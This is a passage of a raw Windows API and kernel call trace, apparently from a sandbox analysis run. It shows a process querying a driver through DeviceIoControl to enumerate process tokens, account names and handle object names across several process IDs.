ObjectNameInfo=0xfffffa8001a06044, ReturnLength=0xfffff88004435550) returned 0x0 [0123.005] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0123.006] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.006] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.006] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x970) returned 0xc0 [0123.006] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0123.006] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435668, HandleInformation=0x0 | out: Object=0xfffff88004435668*=0xfffffa800205a7d0, HandleInformation=0x0) returned 0x0 [0123.006] ObOpenObjectByPointer (in: Object=0xfffffa800205a7d0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004435670 | out: Handle=0xfffff88004435670*=0xffffffff80000a1c) returned 0x0 [0123.006] ObfDereferenceObject (Object=0xfffffa800205a7d0) returned 0x12 [0123.006] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a1c, DesiredAccess=0x8, TokenHandle=0xfffffa80038b6180 | out: TokenHandle=0xfffffa80038b6180*=0xc8) returned 0x0 [0123.006] ZwClose (Handle=0xffffffff80000a1c) returned 0x0 [0123.006] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.006] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0123.006] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0123.007] CloseHandle (hObject=0xc8) returned 1 [0123.007] CloseHandle (hObject=0xc0) returned 1 [0123.007] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.007] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0123.008] PsLookupProcessByProcessId (in: ProcessId=0x970, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.008] PsAcquireProcessExitSynchronization () returned 0x0 [0123.008] KeStackAttachProcess (in: PROCESS=0xfffffa800205a7d0, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800205a7d0, ApcState=0xfffff880044355d0) [0123.008] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002059100, HandleInformation=0x0) returned 0x0 [0123.008] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.008] PsReleaseProcessExitSynchronization () returned 0x2 [0123.008] ObfDereferenceObject (Object=0xfffffa800205a7d0) returned 0x10 [0123.008] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a07044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a07044, ReturnLength=0xfffff88004435508) returned 0x0 [0123.008] ObfDereferenceObject (Object=0xfffffa8002059100) returned 0x1 [0123.008] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.008] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.008] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.008] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x78, lpOverlapped=0x0) returned 1 [0123.008] PsLookupProcessByProcessId (in: ProcessId=0x970, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.008] PsAcquireProcessExitSynchronization () returned 0x0 [0123.008] KeStackAttachProcess (in: PROCESS=0xfffffa800205a7d0, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800205a7d0, ApcState=0xfffff880044355d0) [0123.008] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800206a400, HandleInformation=0x0) returned 0x0 [0123.008] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.008] PsReleaseProcessExitSynchronization () returned 0x2 [0123.008] ObfDereferenceObject (Object=0xfffffa800205a7d0) returned 0x10 [0123.008] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a08044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a08044, ReturnLength=0xfffff88004435508) returned 0x0 [0123.008] ObfDereferenceObject (Object=0xfffffa800206a400) returned 0x1 [0123.008] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.008] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.008] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.008] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0123.008] PsLookupProcessByProcessId (in: ProcessId=0x970, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.008] PsAcquireProcessExitSynchronization () returned 0x0 [0123.008] KeStackAttachProcess (in: PROCESS=0xfffffa800205a7d0, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800205a7d0, ApcState=0xfffff880044355d0) [0123.008] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0123.008] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.009] PsReleaseProcessExitSynchronization () returned 0x2 [0123.009] ObfDereferenceObject (Object=0xfffffa800205a7d0) returned 0x10 [0123.009] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001a09044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a09044, ReturnLength=0xfffff88004435550) returned 0x0 [0123.009] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0123.009] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.009] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.009] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x980) returned 0xc0 [0123.009] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0123.009] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435668, HandleInformation=0x0 | out: Object=0xfffff88004435668*=0xfffffa8002087b30, HandleInformation=0x0) returned 0x0 [0123.009] ObOpenObjectByPointer (in: Object=0xfffffa8002087b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004435670 | out: Handle=0xfffff88004435670*=0xffffffff80000a1c) returned 0x0 [0123.009] ObfDereferenceObject (Object=0xfffffa8002087b30) returned 0x12 [0123.009] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a1c, DesiredAccess=0x8, TokenHandle=0xfffffa80038b6180 | out: TokenHandle=0xfffffa80038b6180*=0xc8) returned 0x0 [0123.009] ZwClose (Handle=0xffffffff80000a1c) returned 0x0 [0123.009] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.009] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0123.009] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0123.151] CloseHandle (hObject=0xc8) returned 1 [0123.151] CloseHandle (hObject=0xc0) returned 1 [0123.151] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.151] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0123.151] PsLookupProcessByProcessId (in: ProcessId=0x980, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.151] PsAcquireProcessExitSynchronization () returned 0x0 [0123.151] KeStackAttachProcess (in: PROCESS=0xfffffa8002087b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002087b30, ApcState=0xfffff880044355d0) [0123.151] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002085ae0, HandleInformation=0x0) returned 0x0 [0123.153] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.153] PsReleaseProcessExitSynchronization () returned 0x2 [0123.153] ObfDereferenceObject (Object=0xfffffa8002087b30) returned 0x10 [0123.153] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80019ff7c4, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa80019ff7c4, ReturnLength=0xfffff88004435508) returned 0x0 [0123.153] ObfDereferenceObject (Object=0xfffffa8002085ae0) returned 0x1 [0123.153] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.154] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.154] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.154] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x92, lpOverlapped=0x0) returned 1 [0123.154] PsLookupProcessByProcessId (in: ProcessId=0x980, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.154] PsAcquireProcessExitSynchronization () returned 0x0 [0123.154] KeStackAttachProcess (in: PROCESS=0xfffffa8002087b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002087b30, ApcState=0xfffff880044355d0) [0123.154] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80020dd640, HandleInformation=0x0) returned 0x0 [0123.154] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.154] PsReleaseProcessExitSynchronization () returned 0x2 [0123.154] ObfDereferenceObject (Object=0xfffffa8002087b30) returned 0x10 [0123.154] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80037a2444, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa80037a2444, ReturnLength=0xfffff88004435508) returned 0x0 [0123.154] ObfDereferenceObject (Object=0xfffffa80020dd640) returned 0x1 [0123.154] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.154] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.154] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.154] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0123.154] PsLookupProcessByProcessId (in: ProcessId=0x980, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.154] PsAcquireProcessExitSynchronization () returned 0x0 [0123.154] KeStackAttachProcess (in: PROCESS=0xfffffa8002087b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002087b30, ApcState=0xfffff880044355d0) [0123.154] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0123.154] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.154] PsReleaseProcessExitSynchronization () returned 0x2 [0123.154] ObfDereferenceObject (Object=0xfffffa8002087b30) returned 0x10 [0123.154] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa800341c7c4, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa800341c7c4, ReturnLength=0xfffff88004435550) returned 0x0 [0123.154] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0123.154] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.154] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.154] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x990) returned 0xc0 [0123.155] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0123.155] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435668, HandleInformation=0x0 | out: Object=0xfffff88004435668*=0xfffffa800208db30, HandleInformation=0x0) returned 0x0 [0123.155] ObOpenObjectByPointer (in: Object=0xfffffa800208db30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004435670 | out: Handle=0xfffff88004435670*=0xffffffff80000a40) returned 0x0 [0123.155] ObfDereferenceObject (Object=0xfffffa800208db30) returned 0x12 [0123.155] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a40, DesiredAccess=0x8, TokenHandle=0xfffffa8002f61680 | out: TokenHandle=0xfffffa8002f61680*=0xc8) returned 0x0 [0123.155] ZwClose (Handle=0xffffffff80000a40) returned 0x0 [0123.155] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.155] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0123.155] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0123.156] CloseHandle (hObject=0xc8) returned 1 [0123.156] CloseHandle (hObject=0xc0) returned 1 [0123.156] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.156] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0123.156] PsLookupProcessByProcessId (in: ProcessId=0x990, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.156] PsAcquireProcessExitSynchronization () returned 0x0 [0123.156] KeStackAttachProcess (in: PROCESS=0xfffffa800208db30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800208db30, ApcState=0xfffff880044355d0) [0123.157] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8001fce180, HandleInformation=0x0) returned 0x0 [0123.157] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.157] PsReleaseProcessExitSynchronization () returned 0x2 [0123.157] ObfDereferenceObject (Object=0xfffffa800208db30) returned 0x10 [0123.157] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80037a3644, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa80037a3644, ReturnLength=0xfffff88004435508) returned 0x0 [0123.157] ObfDereferenceObject (Object=0xfffffa8001fce180) returned 0x1 [0123.157] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.157] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.157] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.157] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x80, lpOverlapped=0x0) returned 1 [0123.157] PsLookupProcessByProcessId (in: ProcessId=0x990, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.157] PsAcquireProcessExitSynchronization () returned 0x0 [0123.157] KeStackAttachProcess (in: PROCESS=0xfffffa800208db30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800208db30, ApcState=0xfffff880044355d0) [0123.157] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800208d070, HandleInformation=0x0) returned 0x0 [0123.157] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.157] PsReleaseProcessExitSynchronization () returned 0x2 [0123.157] ObfDereferenceObject (Object=0xfffffa800208db30) returned 0x10 [0123.157] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80020e0044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa80020e0044, ReturnLength=0xfffff88004435508) returned 0x0 [0123.157] ObfDereferenceObject (Object=0xfffffa800208d070) returned 0x1 [0123.157] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.157] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.157] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.157] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0123.157] PsLookupProcessByProcessId (in: ProcessId=0x990, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.157] PsAcquireProcessExitSynchronization () returned 0x0 [0123.157] KeStackAttachProcess (in: PROCESS=0xfffffa800208db30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800208db30, ApcState=0xfffff880044355d0) [0123.157] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0123.157] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.158] PsReleaseProcessExitSynchronization () returned 0x2 [0123.158] ObfDereferenceObject (Object=0xfffffa800208db30) returned 0x10 [0123.158] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001a0f044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0f044, ReturnLength=0xfffff88004435550) returned 0x0 [0123.158] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0123.158] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.158] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.158] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x9a0) returned 0xc0 [0123.158] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0123.158] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435668, HandleInformation=0x0 | out: Object=0xfffff88004435668*=0xfffffa80020222d0, HandleInformation=0x0) returned 0x0 [0123.158] ObOpenObjectByPointer (in: Object=0xfffffa80020222d0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004435670 | out: Handle=0xfffff88004435670*=0xffffffff80000a40) returned 0x0 [0123.158] ObfDereferenceObject (Object=0xfffffa80020222d0) returned 0x12 [0123.158] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a40, DesiredAccess=0x8, TokenHandle=0xfffffa8002f61680 | out: TokenHandle=0xfffffa8002f61680*=0xc8) returned 0x0 [0123.158] ZwClose (Handle=0xffffffff80000a40) returned 0x0 [0123.158] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.158] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0123.158] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0123.159] CloseHandle (hObject=0xc8) returned 1 [0123.159] CloseHandle (hObject=0xc0) returned 1 [0123.159] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.159] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0123.159] PsLookupProcessByProcessId (in: ProcessId=0x9a0, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.160] PsAcquireProcessExitSynchronization () returned 0x0 [0123.160] KeStackAttachProcess (in: PROCESS=0xfffffa80020222d0, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80020222d0, ApcState=0xfffff880044355d0) [0123.160] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002022c00, HandleInformation=0x0) returned 0x0 [0123.160] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.160] PsReleaseProcessExitSynchronization () returned 0x2 [0123.160] ObfDereferenceObject (Object=0xfffffa80020222d0) returned 0x10 [0123.160] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a10044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a10044, ReturnLength=0xfffff88004435508) returned 0x0 [0123.160] ObfDereferenceObject (Object=0xfffffa8002022c00) returned 0x1 [0123.160] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.160] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.160] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.160] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, 